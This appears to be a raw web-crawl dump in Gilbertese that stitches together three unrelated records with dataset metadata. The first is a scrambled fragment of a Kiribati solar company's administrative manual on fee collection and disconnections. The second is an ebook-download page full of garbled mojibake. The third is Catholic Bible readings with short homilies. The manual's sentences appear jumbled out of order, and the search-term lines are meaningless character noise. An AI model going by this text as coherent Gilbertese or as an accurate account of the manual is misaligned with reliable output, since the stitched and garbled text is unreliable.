kakawaki bwa ko na ataia are 3% man am sales (COD or by order) e na kabwakaaki nakoim bwa tibwam. aio are Sales COD + Total orders. bongin te namakaina are e kanakoaki iai ao tiaati ake a irekereke ma te telmo.Tabe 6.\nAdministrative manual for island technicians\n53\n. Tiainaia ao kanakoa nakon HQ. Kanoaan taian sheets\nMwaane ake rikoaki n te namakaina\nTe bobwai iaon Sales COD + Payments e tuangiira mwaitin te mwane ae reke n te namakaina ao anne te mwaiti are e na telemoaki nakon te HQ. Ngkana iai riki irarikin anne e tuangira bootan am sale n te namakaina. N tokin te ririki tina ikooti ware aikai man 12 kanban sheets ake a tia ni kanoaaki ao ti a kona n ataia bwa iraua tibwam man te mwaiti are e reke. Te kauring riki bwa tai mwaninga ni kaota nambwan te telmo.\nAdministrative manual for island technicians\n54\n.\nKaongoa te HQ botan boon taura ao namban ritiiti Kaongoa te HQ boon kabanemwane ni kabane imwiin taian tiiati. Kanoakin te fee collection sheet\nAikai oin kaantaninga ibukin te fee collection sheet:\nE na karokoi rongorongo aika boou nakon HQ n etiia.Tabe 6. Kanoaan taian sheets\nMwakuri namba 2.\nKanoaan taian sheets\nNorana bwa rongorongo ake a roko man te HQ a bon eti ao ni boureirei\nMan reken te beba ni mwakuri (Activity Sheet) ae boou iaon boon te taura ao aron tein te PV tititem ao e na kaota naba aran te tia baibai ae boou ngkana iai te kamaing. 2. Anne bukina are e aki katauaki are ana bon akea te sheet ae e na wene n aki kanoaaki n te SC n ai aron naba are ko karaoia nakon te kanban sheet. E kakaawaki kanoakin te beba ni mwakuri (Activity Sheet) bwa e na kaoti rongorongo aika boou ao ni karokoi n te HQ. te HQ e na karinii rongorongo aikai n te kombiuta ao mai ikanne are e a kotinakoa te Fee Collection Sheet .\nAdministrative manual for island technicians\n55\n.Tabe 6. Uoua itera ke bwaai aika a kona ni karekea te tibanako n te Fee Collection Sheet :\n1.\nKo aki kanoa te beba ni mwakuri (Activity Sheet) n te tai are e bitaki iai boon te taura ke iai bitaki aika riki nakon te PV tititem. Ngkana iai te tibanako n te ware ke te ara ao waekoa ribootinna nakon te HQ. Te beba ni mwakuri (Activity Sheet) e kanoaaki ma e bua inanon ana tai ni meerinaki imwain rokona n te HQ. N reken te fee collection sheet iroum te moan bwai ae ko riai ni karaoia bon nooran ware ke kanoan te sheet aei bwa a etiruru n akea te tibanako teutana iai.\nE koreaki Ngkana te tititem: 4. Kanoaan taian sheets Kaongoa te HQ mwaitin bootan boon taura aika reke ao n raonaki ma namban riitiiti Iaan te total paid korea te mwaiti are e reke mai iroun te tia baibai n te namakaina anne. Mwakuri 2. 56\nAdministrative manual for island technicians\n. E aki riai n tiaatinaki\nFee + Arrears – Total Paid = Debt\nArrears – Total Paid = Debt\nE aki riai SEC n tiaati boon te taura ngkana exempted ke disconnected.Tabe 6. Iaan Debt ko korea mwaitin te nikira n taarau ni iira nanon te formula ae kaotaki inano: Ngkana te tititem: 1. Aki kabonganaaki raoi n ae riai 3. Iaan receipt # korea nambwan te ritiiti ni kaitaraa are ko karekea mai iroun te tia baibai .\nKanoaan taian sheets Ribooti nakon HQ am kabwane mwane n te namakaina: Iai boon te teremo . • Kainanoan kateirakeaia taan mwakuri ibukin mwakuri tabeua. Mai inano manga koroi riki kaua ni ikotaki ma am kabane mwane riki tabeua n te namakaina anne n aron te kabootau: • Kainanoan tangoan te rebwerebwe ibukin kawaran kawa aika a raroa. N tokina ko riai n tiainaaia ao ni kanakoa nakon te HQ ni ikotaki ma raon am meeri ao bwaai ake ko na kanakoi naba. Te kanakobwai bon tabem iaan No.Tabe 6. Mai ieta n te sheet korei taekan te teremo ni kabane n aron te bongi n namwakaina te tiaati ao ake a kainanoaki riki. 8.\nAdministrative manual for island technicians\n57\n.\nKARAIAIAN TAURA\nE na teretere naba bwa kamaingan te tititem e na bon irekereke ma te kabane mane ao ni kana naba am tai n te kambana. Karaiaian taura\nTABE NAMBA 7.Te kantaninga bwa am kamatata e na bon rangi ni ibuobuoki nakon otaia n akea manga te minotaki ae e na kona ni manga reke. Ai ngaia are e na rangi ni ibuobuoki ngkana ko bairea raoi am tai nakon am mwakuri.Ai ngaia are ibukin katamaroan aei nakon tai aika ana roko ao e riai n totokoaki iango ibukin kamaingan tititem n tain waakinan te mwakuri ni katamaroa ke n riko mane. . Bon oin tabem bwa kona kamatatai ana oin tua te Kambana nakoia taan kamanena te tititem iaon te korokoro ao te kamwaing taura.Tabe 7.\nAdministrative manual for island technicians\n58\n. E na matata raoi naba bwa aki iran nanon am mwakuri ni wakina te korokoro imwin noran te tinetine ae e a tia n riaon 2 te namakaina bon tiaki karaoan te mwakuri n akoi bwa n te tai are e roko iai te babaire man te aobiti (Headquater) bwa e a riai ni kamwaingaki ao ai bon te kairoro naba nakoia taan kamanena te tititem bwa a riai ni kaitiaka aia tarau ni kabanea ngkana a tangira tauan te tititem irouia n raonaki ma te tua are iriana ni kabakaki. Ma e na bon riai naba kamwaingan te tititem ngkana arona bwa (1)Ai aua ke e nako riki mwaitin te namwakaina ae aki itiaki iai ana tarau ke (2) Ibukina bwa te tia kamanena te tititem eaki raoi taraua ana bwai.\nUota te reta ao man kaotia nakoia imwain ae koa waakina kamwaingan te tititem. 2. E na kaitiaka ni kabane ana tarau n ikotaki ma te tua iaon te kamwaing ke.\nE na rangi ni ibuobuoki aio nakoim ngkana ko waekoa ni kaongoia taan bwaibwai ae ena kamwaingaki aia tititem. Ngkana aio te kanganga ao te Logistic Manager e na kainanoaki bwa e na kawara am abwamakoro ibukin katauraoan kamwaingana man am abwamakoro.Mwakuri 7. E kona ni karaoaki aio n am tai ni kawaria taan bwaibwai are ko wawakinna ni katoa te namwakaina. Kataia totokoi waaki aika ana irekereke ma kamwaingan tititem ngkana akea bebaia ke retaia ni kamatoaki ae e a ti n tiainaki mai iroun te Manatia ni Kabuta.. Te reta e na bon koreaki nakoia ake a tia ni baireaki bwa ana kamwaingaki aia taura ike ana kaongoaki iai taekan te kamwaing. Te kamwaing e kona ni karaoaki ni uoua aeakakina. Te tititem ena kamwaingaki nakon temanna n te kawa are teuana. Kamwaingana nakon teuana te kawa: te babaire e na katerea bwa te kawa ra ae e na kamwaingaki nako iai.\nUringa bwa n te tai are ko kamwainga iai te tititem ao a riai naba ni kanoaki beba ni mwakuri (Activity Sheet).\nNi kabane babaire iaon te manga kamwaing taura ana bon riai ni kabane ni karaoaki ao man tauaki n te koroboki.\n1. Kamwaingana nakon te abwamakoro teuana.Kamwaingan te tittitem. Aio bon te kamwaing ae e okoro ao e eti kona ni karaoaki ngkana arona bwa te tarau n te abwmakoro anne e rangi ni mwaiti.\nAdministrative manual for island technicians\n59\n. 2. N te tai are e reke iai iroum te babaire man te aobiti ibukin te kamwaing ao te tia kamanena\nte tititem ti uoua ana kawai ae e kona n nako iai bwa:1.\n. Kanakoan booma ma baika a uruaki nakon te SEC\nAron tein am mwakuri ma nakoraoina e na rangin kainnanoaki ibukin kanakoraoan te SEC. Tai maninga ni karokoa am kaongoongo ibukin butimaeakin bwai ake ko kanakoi ma iriana am reta ni kabwarabwarai taekaia ma mwaitiia.Tabe 8. ana kabakaaki kantokaia iroun SEC. Ao tai maninga are a riai ni kanakoaki baikai imwain kabanean bongin te namakaina koraki. Kakaonimaki ni kanoai booma ake a riai ni kanoaaki ao kanakoi n te meeri n te tai ae waekoa nakon aobitin te SEC i Betio.\nAdministrative manual for island technicians\n60\n. Booma ake ko kanakoi ao n reke iroura ana rinanoaki bwa ngaia are ko na kabooaki ma iai. te konturoora ao te DC\/DC converter a riai ni kaokaki nakon aobitin te SEC. Kantokan te baetere ma te konturoora etc. Bwaai ake a uruaki ao ni kona ni karaoaki n aron te inverter. Roorokon am booma ma nakoraoin kanoaakina e na bon riki bwa kaotan aron am mwakuri ae tamaroa. Kanakoan booma ma baika a uruaki n te SEC\nTABE NAMBA 8. Tarawa ni katoa tai. Bwaai ake e bwainii te katitama imwiin koron teuana te ririki man te tai are a kanimaki iai ao ana bwai te kambwana are e urui. Mai iai ao te management e kona ni kinako bwa te tia mwakuri ae kakaonimaki man konabwai ke tiaki. e na tabeakina boon kantokaia nako Tarawa ao n oki.\nThe Solar Energy Company is a renewable energy service company (RESCO).\nAdministrative manual for island technicians\n. and still work when even this failed. The equipment is usually located at the user's premises. we have suggested potential solutions suited not only to Kiribati but to any other location worldwide. A RESCO is a company that supplies electricity to users in exchange of a monthly fee. With this manual. Poor infrastructure in the outer islands and lack of proper communication with the headquarters meant the project had to define a system that would function by the mere exchange of documents by ordinary mail.The aim of this manual is to assist Island technicians of the Solar Energy Company Ltd in fulfilling their monthly responsibilities. This will greatly improve the quality of the utility service supplied to the outer islands of Kiribati. although it remains the property of the RESCO or Government and the electricity is generated through renewable energy sources such as solar or wind.","id":"","dump":"CC-MAIN-2017-17","url":"https:\/\/www.scribd.com\/doc\/50810782\/4-1-Workshop-Material-Administrative-manual-for-island-technicians-kiribati","date":"2017-04-30T14:37:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917125532.90\/warc\/CC-MAIN-20170423031205-00489-ip-10-145-167-34.ec2.internal.warc.gz","language":"gil","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000087022781372}","num_words":9311,"character_repetition_ratio":0.108,"word_repetition_ratio":0.002,"special_characters_ratio":0.222,"stopwords_ratio":0.331,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Toggle navigation\nFREE: eBooks and PDF Download\nGenres\nMost Read\nAccount\nHome\nHumor-and-comedy\nHumor And Comedy\nFind Me\nThe Library of the Unwritten (Hell's Library #1)\nCrier's War (Crier's War, #1)\nHow We Fight For Our Lives\nThe Never Tilting World (The Never Tilting World, #1)\nMooncakes\nI Hope You Get This Message\nInto the Crooked Place (Into the Crooked Place, #1)\nNow Entering Addamsville\nDear Sweet Pea\nBeyond the Black Door\nTarnished Are the Stars\nFull Disclosure\nDo You Mind If I Cancel? (Things That Still Annoy Me)\nThe Good Luck Girls (The Good Luck Girls, #1)\nElevation\nA Transcontinental Affair\nThis is How It Always Is\nCarnival Row: Tangle in the Dark\nDo You Mind If I Cancel? (Things That Still Annoy Me)\nGirl, Woman, Other\nWith the Fire on High\nPaper Girls, Vol. 6\nThe Confession\nThe Quaker (Duncan McCormack #1)\nAre You Listening?\nA Conjuring of Light (Shades of Magic, #3)\nRed Hood: The Hunt (Urban Fairytales #1)\nMonstress, Vol. 4: The Chosen\nDear Sweet Pea\nSimon vs. the Homo Sapiens Agenda (Creekwood, #1)\nAristotle and Dante Discover the Secrets of the Universe (Aristotle and Dante Discover the Secrets of the Universe, #1)\nCarry On (Simon Snow, #1)\nThe Song of Achilles\nThe Gentleman's Guide to Vice and Virtue (Montague Siblings, #1)\nWill Grayson, Will Grayson\nCall Me By Your Name (Call Me By Your Name, #1)\nI'll Give You the Sun\nThe Miseducation of Cameron Post\nThey Both Die at the End\nBoy Meets Boy\nRecent Book\nThe Courtesan's Revenge\nThe Dangerous Passion: Why Jealousy is as Necessary as Love and Sex\nThe Hand of God: A Journey from Death to Life by the Abortion Doctor Who Changed His Mind\nEls homes que no estimaven les dones : Millennium I\nLetters from an Astrophysicist\nBorn a Crime: Stories From a South African Childhood\nParis Sweets: Great Desserts from the City's Best Pastry Shops\nRoomies\nDuring My Nervous Breakdown I Want to Have a Biographer Present\nSolaris Rising 1.5: An Exclusive ebook of New Science Fiction\nRecent Search\nae ez c ez aae ae ae aaaaaaaaaaai i ツオ ae ae e a z po 34 po o34 ce ae ez a ae ae ae a c e aaaaaaaaaaaai i ツコ cs ae ae a 2019 03 10 22 54ae aij ae ae a c ezza ae ae a ae aaaaaaaaaaai i ツオa aae ae a c e a c c ae ae a c ez a a ae aaaaaaaaaaai i ツェe c a ae ae a e a eaaaaaaaaaaai i ツオ ae\ni i i a iz i e e e i e i e e i es i a iz iae aaaaaa碌 i i i e i aae i i wyk92 qx488 som i i 9s0ea i i e i a iz i i i i 2019 04 17 07 28 i i e ea eaaaaaa碌 i eaaaaaa陋 i i e e a e i i p\ndark skinned with ginger hair\nezae a cyzae ae a c eza c ez ae ae e a z mo27 m oo27 ce ae ae ae a e a eaaaµ ae ae a e a eaaaµ y 2019 03 22 00 32ezae a cyz aij ae ae a e ae c sae ae a c ae aaaµa ae aea c ae ae a c ae ae c ae ez ae ae a c ez a a ae aaaªe c a ae ae a c e c ezae a cyz\na a sae ae ae a c e a a ae e azeze aaaaaaaaaaaaaaaaaaaaai i i i aaaaセゑスェ ae ae e a z po 3 4 poo3 4 ce ae ae ae a c ae ae c ae ezae a c c aee e cs ae ae a 2019 03 02 16 12a a sae aij ae ae a c ezae a c ez aae as c a a ae ae a ae az ae ae a c ae ae a c e ae sc ez a c ez a a sae\ni e i i i e i e e i i i e e i e i e e i e akaxx com 2019 04 17 07 37 i e i e e i e aaaº iz sxoi i e e e i e e i i e i e i e e i e aaaº iz\na a sae ae ae a c e a a ae e azeze aaaaaaaaaaaaaaaaaaaaai i i i aaaai a i i aaaaaaaaaaaaaaaaaツェ ae ae e a z po 3 4 poo3 4 ce ae ae ae a c ae ae c ae ezae a c c aee e cs ae ae a 2019 03 02 16 12a a sae aij ae ae a c ezae a c ez aae as c a a ae ae a ae az ae ae a c ae ae a c e ae sc ez a c ez a a sae\nperruque croler\neza e ac c ez ac ae ae aaaaaオ ae c e a z mo27 po o34 ce ae ae ae aaaaコ c e a ae sez a aaaaコ c ez ac e 2019 04 10 21 40eza aij ae ae aaaaコ c ae ec ae ezza csaaaaコ ezaaaaコ c ez ac a se a eaaaaaオ ae ae aaaaコ c ez a aaaaコ ae ase c a ae ae aaaaコ c ez a aaaaコ ae ase c a ae ae aaaaコ c e ae ae y\ni e i i i e i e iae e a i i i is i e e a i aae a gmvcs com e e a i i i ia a e e i is te i e i e e i e sx2019 04 17 07 02e e i i e i e e e e e e eaª ie e i i e 7u\nBrowse by Genre\nArt\nBiography\nBusiness\nChick Lit\nChildren's\nChristian\nClassics\nComics\nContemporary\nCookbooks\nCrime\nEbooks\nFantasy\nFiction\nGay And Lesbian\nGraphic Novels\nHistorical Fiction\nHistory\nHorror\nHumor And Comedy\nManga\nMemoir\nMusic\nMystery\nNon Fiction\nParanormal\nPhilosophy\nPoetry\nPsychology\nReligion\nRomance\nScience\nScience Fiction\nSelf Help\nSuspense\nSpirituality\nSports\nThriller\nTravel\nYoung Adult\nAccount Required\nHave An Account ?\nRemember Me\nLogn In\n7 Days Trial\nFor New Account\nRegister Free Account\nRead All Our Content\nHigh Quality Books\nPremium Books\nSupport Many Device\nYes please, register now!\nBooks","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.ecohoot.com\/genres\/humor-and-comedy\/","date":"2019-11-14T06:36:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496668004.65\/warc\/CC-MAIN-20191114053752-20191114081752-00493.warc.gz","language":"gil","language_score":0.4809228182,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.4809228181838989, \"smo_Latn_score\": 0.21915431320667267, \"iso_Latn_score\": 0.0711568295955658, \"por_Latn_score\": 0.04414455220103264, \"tah_Latn_score\": 0.039246272295713425, \"vec_Latn_score\": 0.017345702275633812}","num_words":1012,"character_repetition_ratio":0.087,"word_repetition_ratio":0.148,"special_characters_ratio":0.29,"stopwords_ratio":0.387,"flagged_words_ratio":0.0,"lang_id_score":0.416,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Kanan Tamneira...\n- Details\n- Written by Uriam Timiti\n-\nWiki 27 Moanibong\nWarekan ana Boki te burabeti ae Iona…1:1; 2:1-11\nE roko ana taeka te Uea irouni Iona ae natin Amitai, ni kangai: \"Teirake, nako Niniwe, ae te kawa ae ababaki, ao kaotia nakoia ba I a rotaki ni buakakaia.\" E teirake Iona, ao biri nako Taatiti ba e na kararoa matan te Uea. E ruo nakon te kawa ae Ioba, ao e nora te kaibuke ae nangi borau nako Taatiti. E anga kantokana, ao e toka n nako Taatiti, ba e na kararoa matan te Uea. Ma E orea marawa te Uea n te ang ae korakora, ao e roko te buaka ae korakora i marawa, ao e nang uruaki iai te kaibuke. A rotaki kain te kaibuke n te maku, ao a weteia nako atuaia, ao a tewenakoi kanoan te kaibuke i tari ba a na kabebetea. Ao Iona, e a tia n ruo ma ni wene i kabin te kaibuke, ao e karaua ni matu. E kawaria te kaben, ao e taku nakoina: \"E aera ngkai ko matu? Teirake, wetea Atuam, tao E na mutiakinira, ao ti na aki mate.\" Rimui a taetae i boni irouia ni kangai: \"Ti na kaiwa, ao ti na ataia ba antai ae karekea te kanganga aei nakoira.\" Ao a kaiwa, ao e a uia nakoni Iona. A kangai nakoina: \"Tera nakoam? Ko nako mai ia? Ia abam? Kain te botanaomata ra ngkoe?\" E kaekaia Iona ni kangai: \"Te I-Ebera ngai, ao I taromauria te Uea ae Atuani karawa, are karika marawa ma aon te aba.\" A ataia ba e kani kararoa te Uea, ba e a tia ni kangoia. A taku nakoina: \"Tera ae ti na karaoia nakoim ba e aonga n raoi marawa?\" Ba e rikirake buakani marawa. E kaekaia ni kangai: \"Tabekai, ao tewenakoai i tari, ao e na reke te raoi. I ataia ba bon au bure ngkai kam reke n te buaka ae korakora aei.\" A kakorakoraia kaimoa ni buru ba a na kaea eta, ma a aki kona, ao a rikirake naoni marawa i rarikia. Ao a wetea te Uea ni kangai: \"Te Uea, tai kamateira i bukin te aomata aei, ao tai bukiniria ni maten te aomata ae akea ana bure. Ba Ko karaoa ae oin nanom, te Uea.\" Ao a tabeka Iona n tewenakoa i tari. Ao e a raoi marawa. Ao a bati ni maka te Uea aomata akekei, ao a anga karea nakoina ma taian taeka ni bau. E a tia ni baireia te Uea ba e na onga Iona te ika ae bubura. E tiku Iona i nanoni biroton te ika tenua te ngaina ao tenua te bong. Ao E taetae te Uea nakon te ika, ao e mumuta Iona i aon te bike.\nTe Taramo Iona 2:5-3\nKaekana: Te Uea, katikai mai kabini marawa.\nI wetea te Uea i nanon rawawatau, Ao E kaekaai;\nI wewete mai nanoni mone, Ao Ko ongo banau. K.\nKo tewenakoai i kabini marawa, E rabunai tari,\nAo a baroai Am nao i marawa. K.\nAo I taku: I a kakioaki, mai matam.\nN na kanga n manga Nora am Temboro ae tabu? K.\nNgke e a mamara tamneiu i nanou, Ao I a uringa te Uea,\nAo e a roko au tataro iroum, I nanon umam ae tabu. K.\nAlleluia, alleluia.\nAne kawakina ana taeka Kristo, ao e na kororaoi ana tangira te Atua i nanona. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Ruka..10:25-37\nE kani kata Iesu temanna te tia reirei n te Tua, ao e titirakinna ni kangai: \"Te Tia Reirei, tera ae N na karaoia ba e aonga n reke irou te maiu ae aki toki?\" E kaeka Iesu ni kangai: \"Tera ane koreaki n te Tua? E kanga warekana iroum?\" Ao e kangi teuarei: \"Ko na tangira te Uea ae Atuam ma nanom ni kabanea, tamneim ni kabanea, korakoram ni kabanea, ao am iango ni kabanea; ao ko na tangira raom n ai aron tangiram i bon iroum.\" E taku Iesu nakoina: \"E eti am kaeka. Karaoa anne ao ko na maiu.\" Ma e kani karaoiroia teuarei, ao e manga titirakina Iesu ni kangai: \"Ao antai raou?\" Ao ngkanne E kangai Iesu: \"E ruo temanna te aomata mai Ierutarem nako Ieriko, ao e mane irouia tani kamarua, ake a tanabaia ma n oroia, ao a kitanna ngke e a kani mate. Ao akea ba e toua te kawai naba arei temanna te berebitero, ao e noria, ao e toua nako kawaina. Aron naba temanna te Rewita, e noria, ao e toua nako kawaina. E mananga naba temanna te I Tamaria, ao e noria ao e nanoangaia. E kawaria, e kabiri ikoakina n te ba ma te uain ao e kabaei; ao e katoka i aon ana man ao e uotia nakon te auti ni irua ni kawakinna. Ngke e a ingabong, ao e buti uoua te tenario n angan teuare ana auti te auti, ao e kangai nakoina: 'Kawakina teuaei, ao am bai ae na manga nako i bukina, ao N na kaboa muina ngkana I oki.' E uara? Antai raon teuare reke irouia tani kamarua mai buakoia uake teniman?\" Ao ngaia e kangai: \"Teuare nanoangaia.\" E taku Iesu: \"Nako, ao ai arom naba anne.\"\nTibatiba: Te Uea katikai mai kabini marawa\nTariu ao maneu n te maini wareboki n te bong aio ao ti ongora aron Iona ni birinako mairoun te Atua ba e rawa ni karaoa muiokoakana iroun te Atua ba e na nako Niniwe ni karokoa ana taeka te Atua ba a na riai n rairi nanoia. E a kataia ni karaba Iona mairoun te Atua ao e iangoa tokana n te kaibuke nakon te tabo ae raroa.\nEng ti riai ni karaua n iangoa te bai ae karaoia te Iona ba iai tibangara ae kona mai iai. Te moanai bai ae riai ni matata iroura ba ngkana ti kataia ni karabaira mai matan te Atua ao ti riai n ataia ba bon akea te tabo ae ti kona ni karabaira iai ba ngkana taberan te maunga ae moan te rietata ke ti karabaira i kabini marawa ao e bon norira te Atua. Ngkana ti karekerekea ma ana titiraki te tia reirei n te tua nakon Iesu n te ewangkerio ba tera ae riai ni karaoia ba e aonga n reke te maiu ae tokina ao e oti ba ti riai n ira te tua n tangira te Atua ma rabatara, nanora ao tamneira ao korakorara ni ikabane ao iaoni bai ni kabane ao ti na tangiria naba raora. Ti riai n tauraoi n tai nako ni karaoa Nanon te Atua ao ni kaotia ba e moanibai tangiran te Atua iaoni bai nako. Te kauoua ba ti karikaki nako aonteaba ibukin karaoan Nanon te Atua ba ti ngaia te anga ae ti kona ni kamaiuaki iai. Ti riai n riki ba tan tia uota ana tangira, ana nanoanga ao ana kamaiu te Atua nakoia aomata nako. Ti riai n ataia are raora ni koaua bon aomata ake a taonaki n te rawawata ma te kananoanga ba a raoranako ma ana tangira ao ana nanoanga te Atua are nanona ba iaoni kawaia ni mate. Ti na kakoaua ba ti na anganaki te kaniwanga ae moan te bati ngkana ti kona ni kairia tarira ao manera nakon te maiu ae onrake n te maiu ngkana ti kona kaokia ba a na nim ma Teuare koburaken te kamaiu ae Iesu Kristo. Irarikin anne ao ti riai naba ni katotonga Iona n raraoma nakon te Atua ibukin ara aki ongotaeka ni karaoa te muioko are anganira te Atua ao ti riai n tauraoi n tai nako n nanomaraki n ara kairua nakon te Atua ao ni butia Uea ba E na katikira mai kabini marawa bat i aonga ni kamaiuaki.\n- Details\n- Written by Uriam Timiti\n-\nWiki 26 Kanimabong St Teretia ni Iesu Te TEI\nWarekan ana Boki te burabeti ae Itaia. 66: 10-14\nKam na kukurei ma Ierutarem, kimareirei irouna, ngkami nako aika kam tangiria. Kam na raonna ni kabaiana, ngkami nako ake kam tanginiweneia. Ba kam aonga ni kamammaaki ma n rauaki ni mammana ae kabebete nano, kam na mamma ma te kukurei ni mammana ae katoki nano.\nBa E kangai te Uea: Noria, N na karaangaa te raoi nakoina n ai aron te karanga, ao kakanatoia botanaomata n ai aron te karanga, ao kakanatoia botanaomata n ai aron te karanga ae taonako. Kam na kamammaaki, kam na rarikinaki, kam na babakoaki i aoni bubuaniwae. N na kabebetei nanomi, n ai aron ane kabebeteaki iroun tinana. Kam na nora anne, ao a na kabaia nanomi, ao a na manga maiureirei rabatami n ai aron te uteute, ao e na namakinaki bain te Uea irouia ana toro.\nTe Taramo 15: 1-2, 5, 7-8, 11\nKaekana: Tibangau Ngkoe, te Uea.\nAtuau, kawakinai, katanau Ngkoe, I kangai nakon te Uea: \"Au Uea Ngkoe.\"\nBoni Ngkoe tibangau ma au mangko, Boni Ngkoe ae ko kawakina tibau. K\nI karaoiroa te Uea ae buoka au iango, E reireiai oin nanou ni bong.\nI kawakina taran te Uea n tai nako; Ngkai bon raou, ao N na aki baka. K\nReireiai kawain te maiu; E kororaoi te kabaia i matam,\nAkea tokin te kimareirei i rarikim. K\nWarekan ana Reta Bauro nakoia I Roma. 8: 14-17\nAkana kairaki iroun Tamnein te Atua, ao bon natin te Atua. Kam aki anganai te nano n toro, ae kam na tiku iai i nanon te maku; ma kam anganaki te nano n nati, ba te natinaki ae ti kangai iai: \"Abba! Te Tama!\" Bon te Tamnei raon tamneira, ni kakoauaira ba natin te Atua naba, ba tan ababa iroun te Atua, ao raoni Kristo n ababa, ngkai ti maraki ma Ngaia ba ti na neboaki ma ngaia.\nAlleluia, alleluia.\nKo karaoiroaki, te Tama Ae Ueani karawa ma aonaba, Ba ko kaoti miterion te Abanuea nakoia aika uarereke. Alleluia\nEuangkerio.\nWarekan ana Euangkerio Mataio 18: 1-4\nA kawara Iesu ana reirei, ao a titirakinna ni kangai: \"Antai ae ko taku ba e kakanato riki n te Abanuea ae karawa?\" E wetea temanna te ataei ae uarereke Iesu, ao E kateia i mataia, ao E taku: \"I tuangi ngkami te koaua: ngkana kam aki okiri aroia ataei, ao kam aki kona n rin n te Abanuea ae karawa. Ma ane kauarerekea n ai aron te ataei ae uarereke aei, ao boni ngaia ae kakannato riki n te Abanuea ae karawa.\"\nTibatiba: Antai ae na rin n te Abanuea ae Karawa?\nTariu ao maneu aei teuana te bong ae kakawaki iroura ae e moanaki iai Okitoba are bon ataaki n arana ae ana namakaina Nei Maria. Bon te tai ae ti na manga kabouai iai ara tangira ao ara reitaki ma Nei Maria n aron are E anganira Tinana Iesi imain matena ngke E tine iaon te kaibangaki. Ti riai n karaua ni kaotaira n ana kantaninga Iesu ba tera raoi bukina ngke E kaburea tinana ngkoira Iesu imain are a nang bane bai nako ni karaoaki ibukin kamaiuara ao imain motin ikena. Eng ngke nang bon bane n tia bai nako ni karaoaki ao e ataia ba ibukin kamatoan te kamaiuaki are nang reke iroura ao E ataia Iesu ba ti kainanoa ana buoka tinana ao tinara ae Nei Maria ba e na kawakinira ao e na katanira mairoun teuare buakaka ba ti aonga ni bane ni kamaiuaki. Inanon naba te tai aio ngke e taetae Iesu nakon te abotoro are Ioane ba e nang riki Nei maria ba tinana ao ti ataia ba imuin arei ao Ioane e karekea nnen Nei Maria inanon ana auti ke e kamaeka Nei Maria irarikina. Are nanona ba Ioane e karika Nei Maria ba tinana ni koaua ao e kamaeka Nei Maria n ana auti ba ti aonga nu buokaki ba ti na rin n te Abanuea ae Karawa man baibai irarikin Iesu iroun te Tama.\nMa n reitaki ma karakin anganakira Nei Maria iroun Natina ae Iesu ao ti ataia ba Iesu ai bon iaon kawaina n tokinikai iaon te mate ba E na mangauti. Teuana te titiraki ae tabekaki n te ewangkerio n te bong aio bon te titiraki ae kangai; \"ba antai ae ae na rin te Abanuea ae Karawa? Eng ti kauringaki n te bong ba te koraki aika a na rin n te Abanuea ae Karawa bon ake a nanorinano n aroia ataei aika uarereke. Ataei aika uarereke bon te koraki ake a muiokoi aroia inanon bain tinaia are boni ngaia ae tauraoi ni buokira ao ni kawakinira ba ti bane n roko n tokin kawaira are E a tia ni katauraoia Iesu ibukira.\nN te bong aio ao ti bon kauringa naba ana toa St Teretia n Iesu Te Tei are e a tia kabanea maiuna ni kukureia Iesu n ana ongotaeka, ana nanorinano, ao ana nimamanei. Teuana ana reirie ae moan te tikiraoi ba te kona ni katonga Karawa ikai iaon te aba mani karaoan raoi makuri aika a managori mani uarereke ma te kukurei ao te kakaonimaki. Ti na butia naba St Teretia ba e na buokira mai Karawa ni kakaraoa Nanon te Atua.\n- Details\n- Written by Uriam Timiti\n-\nWiki 26 Kauabong\nWarekan ana Boki te burabeti ae Takaria. 8: 20-23\nE kangai Uean aonaba:\"A na roko riki botanaomata ma kaini kawa aika ababaki. A nako kain te kawa teuana nakon te kawa teuana, ao a na kangai: 'Ti na nako ni butia te Atua; ti na ukera matan Uean aonaba; N na bon nako ngai.' A na maiti botanaomata ma kain aba aika korakora, aika na roko i Ierutarem, ba a na butia Uean aonaba ma n ukera matana.\nNi bong akekei, ao e na kawaraki tatabeman te I Iutaia irouia tatabengaun te aomata man taetae ma botanaomata nako, ao a na taua kunnikaina ma ni kangai nakoina: 'Ti a raoni ngkami, ba ti ongo ba E mena te Atua i buakomi.\"\nTe Taramo 86\nKaekana: Neboa te Uea, botanaomata nako.\nE kateaki i iaoni maunga aika tabu, Te kawa ae tangiraki iroun te Uea.\nE tangira riki Tion te Uea, Nakon ana tabo nako Iakoba. K\nE kakanato taekam, Ngkoe ana kawa te Atua.\nA warekaki Baburon ma Aikubita, i buakoia akana kinako. K\nA taekinaki Biritia, Turo ma Etiobia, ni kangai: 'E bungiaki iai Naewa.'\nMa e kangai taekan Tion: 'Tinau.' Ba a bane ni bungiaki iai aomata. K\nE kamatoa ana kawa ni nnena, Teuare moan te Rietata ae te Uea.\nE koroi araia botanaomata n te boki: \"E bungiaki iaki Naewa.\"\nAo a kimareirei ma n anene ni kangai: \"A bane n reke mwengaia i nanom.\"K\nAlleluia, alleluia.\nTe Uea, reireiai am kawai ma am tua, ao N na iangoi am makuri aika kamimi. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Ruka: 9 : 51-56\nNgke e a kan ana tai Iesu ni uotaki nako mai aon te aba aei, ao E mananga ma te nanomatoa nako Ierutarem. E kanakoia ana aomata n rimoana: ao a nako, ao a roko n aia kawa i Tamaria teuana, ba a na katauraoa rokona iai. Ma e tei butimaeakina, kioina ngke E na nako Ierutarem. Ngke a nora anne reirei ake Iakobo ao Ioane, ao a taku: \"Te Uea, e uara nanom ngkana ti tua ba e na bakaria te ai mai karawa ni kamaunaia?\" Ma E rairaki Iesu n tiringia. Ao a mananga nakon te kawa teuana.\nTibatiba: E kamatoa Nanona Iesu ba E na anko Ierutarem\n- Details\n- Written by Uriam Timiti\n-\nWiki 26 Kaabong\nWarekan ana Boki Neemia. 8: 1-12\nN te namakaina ae te kaitiua, ao a bane ni botaki te koraki, ma te nano ae ti teuana, i nanon te marae ae kaitara mataroan te ran. Ao a butia Etira, 